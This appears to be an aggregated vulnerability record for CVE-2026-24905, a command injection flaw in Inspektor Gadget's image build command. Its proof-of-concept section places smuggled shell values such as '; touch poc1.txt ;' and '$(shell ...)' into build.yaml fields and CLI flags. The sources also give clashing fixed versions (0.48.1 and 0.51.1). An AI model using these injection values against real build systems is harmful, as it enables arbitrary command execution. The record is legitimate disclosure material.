{"id":"CVE-2026-24905","aliases":["CVE-2026-24905","GHSA-79qw-g77v-2vfh","GO-2026-5211"],"related":[],"kind":"vulnerability","state":"published","title":"Inspektor Gadget has a Command Injection vulnerability in Makefile.build","summary":"Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the `ig` command is launched, if images are built with the `--local` flag or on the build container invoked by `ig`, if the `--local` flag is not provided. The `buildOptions` structure is extracted from the YAML gadget manifest passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the `ig` command is launched, if images are built with the `--local` flag or on the build container invoked by `ig`, if the `--local` flag is not provided. The `buildOptions` structure is extracted from the YAML gadget manifest passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Impacted Resources\n\n`inspektor-gadget/cmd/common/image/build.go`\n`inspektor-gadget/cmd/common/image/helpers/Makefile.build`\n\n### Description\n\nThe `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images.\n\nA part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`.\n\nThe following is the code responsible to construct the build command:\n```go\nfunc buildCmd(options buildOptions) []string {\n\tcmd := []string{\n\t\t\"make\", \"-f\", filepath.Join(options.outputDir, \"Makefile.build\"),\n\t\t\"-j\", fmt.Sprintf(\"%d\", runtime.NumCPU()),\n\t\t\"OUTPUTDIR=\" + options.outputDir,\n\t\t\"CFLAGS=\" + options.cFlags,\n\t\t\"FORCE_COLORS=\" + options.forceColorsFlag,\n\t}\n\n\tif options.ebpfSourcePath != \"\" {\n\t\tcmd = append(cmd, \"EBPFSOURCE=\"+options.ebpfSourcePath, \"ebpf\")\n\t}\n\tif options.wasmSourcePath != \"\" {\n\t\tcmd = append(cmd, \"WASM=\"+options.wasmSourcePath, \"wasm\")\n\t}\n\tif options.btfgen {\n\t\tcmd = append(cmd, \"BTFHUB_ARCHIVE=\"+options.btfHubArchivePath, \"btfgen\")\n\t}\n\n\treturn cmd\n}\n```\n\nThe `Makefile.build` file is the Makefile template employed during the building process.\n\nThis file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.\n\nThis implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process.\n\n\n### Impact\n\nAn attacker able to exploit this vulnerability would be able to execute arbitray command: \n- on the Linux host where the `ig` command is launched, if images are built with the `--local` flag\n- on the build container invoked by `ig`, if the `--local` flag is not provided\n\n### Attack Complexity\n\nThe `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options.\n\nTypically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.\n\n### PoC\n\n#### PoC 1  (Vector: cflags)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"program.bpf.c\"  \nmetadata: \"gadget.yaml\"  \ncflags: \" ; touch poc1.txt ; \"\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test  \ndescription: test gadget  \n```\n3. Create the file `program.bpf.c` with the following content:\n```\n#include <gadget/gadget.h>  \nchar LICENSE[] SEC(\"license\") = \"GPL\";\n```\n4. In the same directory where the files are run the command:\n```\nig image build . -t test:latest\n```\n5. Notice that the file `poc1.txt` gets created inside the directory.\n\n#### PoC2 (Vector: ebpfsource, wasm)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"$(shell touch poc2-1.txt)\"\nwasm: \"$(shell touch poc2-2.txt)\"\n```\n2. Create the file `$(shell touch poc2-1.txt)`:\n```\ntouch '$(shell touch poc2-1.txt)'\n```\n3. In the same directory where the files are run the command:\n```\nig image build .\n```\n4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory.\n\n#### PoC3 (Vector: -o, --output)\n\n1. Create the file `build.yaml` with the following content:\n```\nwasm: dummy.go\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test\n```\n3. Create the directory `$(shell touch poc3.txt)`:\n```\ntouch '$(shell touch poc3.txt)'\n```\n4. Retrieve the full path of the created directory:\n```\nreadlink -f '$(shell touch poc3.txt)'\n```\n5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4:\n```\nig image build . --local -o '<PATH>'\n```\n6. Notice that the file `poc3.txt` gets created inside the directory.\n\n#### PoC4 (Vector: --btfhub-archive)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: test.c\n```\n2. Create the file `test.c`:\n```\ntouch test.c\n```\n3. In the same directory where the files are run the command\n```\nsudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'\n```\n4. Notice that the file `poc4.txt` gets created inside the directory.\n\n### Suggested Remediation\n\nSanitize build options by providing a robust whitelist to filter on.\nAlternatively, revisit the design of image building to prevent shell substitution.\n\n### References\n\n- https://cwe.mitre.org/data/definitions/77.html\n- https://cwe.mitre.org/data/definitions/78.html","format":"markdown","source":"ghsa"},{"lang":"en","text":"Inspektor Gadget: Command Injection via malicious buildOptions manipulation in github.com/inspektor-gadget/inspektor-gadget","format":"markdown","source":"go"},{"lang":"es","text":"Inspektor Gadget es un conjunto de herramientas y un framework para la recopilación de datos e inspección de sistemas en clústeres de Kubernetes y hosts Linux usando eBPF. El binario `ig` proporciona un subcomando para la construcción de imágenes, utilizado para generar imágenes OCI de gadgets personalizadas. Una parte de esta funcionalidad está implementada en el archivo `inspektor-gadget/cmd/common/image/build.go`. El archivo `Makefile.build` es la plantilla de Makefile empleada durante el proceso de construcción. Este archivo incluye datos controlados por el usuario de manera insegura; específicamente, algunos parámetros se incrustan sin un escape adecuado en los comandos dentro del Makefile. Antes de la versión 0.48.1, esta implementación es vulnerable a inyección de comandos: un atacante capaz de controlar valores en la estructura `buildOptions` podría ejecutar comandos arbitrarios durante el proceso de construcción. Un atacante capaz de explotar esta vulnerabilidad podría ejecutar comandos arbitrarios en el host Linux donde se lanza el comando `ig`, si las imágenes se construyen con la bandera `--local` o en el contenedor de construcción invocado por `ig`, si la bandera `--local` no se proporciona. La estructura `buildOptions` se extrae del manifiesto YAML del gadget pasado al comando `ig image build`. Por lo tanto, el atacante necesitaría una forma de controlar el archivo `build.yml` completo pasado al comando `ig image build`, o una de sus opciones. Típicamente, esto podría ocurrir en un escenario de CI/CD que construye gadgets no confiables para verificar su corrección. La versión 0.48.1 corrige el problema.","source":"nvd"}],"published":"2026-01-29T21:29:24.260Z","modified":"2026-06-25T19:56:34.789Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":6.6,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":6.6,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-77","CWE-78"],"affected":[{"ranges":[{"version":"< 0.51.1","status":"affected"}],"vendor":"inspektor-gadget","product":"inspektor-gadget","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.51.1"}],"ecosystem":"Go","package":"github.com/inspektor-gadget/inspektor-gadget","purl":"pkg:golang/github.com/inspektor-gadget/inspektor-gadget","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.51.1"}],"ecosystem":"Go","package":"github.com/inspektor-gadget/inspektor-gadget","purl":"pkg:golang/github.com/inspektor-gadget/inspektor-gadget","source":"go"},{"ranges":[{"status":"affected","fixed":"0.48.1"}],"vendor":"linuxfoundation","product":"inspektor_gadget","cpe":"cpe:2.3:a:linuxfoundation:inspektor_gadget:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-79qw-g77v-2vfh","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/7c83ad84ff7a68565655253e2cf1c5d2da695c1a","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/d9bf2fe4a180dad33ce57ca793ff4799ee7b8320","tags":["fix","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24905","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/inspektor-gadget/inspektor-gadget","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-01-30T14:39:04.833Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-24905","url":"https://www.cve.org/CVERecord?id=CVE-2026-24905","licence":"CVE Terms of Use","modified":"2026-04-30T19:21:40.531Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-79qw-g77v-2vfh","url":"https://github.com/advisories/GHSA-79qw-g77v-2vfh","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:34.789Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5211","url":"https://pkg.go.dev/vuln/GO-2026-5211","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:15.257Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-24905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24905","licence":"Public domain","modified":"2026-06-17T10:23:47.117Z"}],"updatedAt":"2026-11-25T22:59:13.306Z","epss":{"score":0.01392,"percentile":0.73153,"date":"2026-12-01T12:00:22.000Z"}}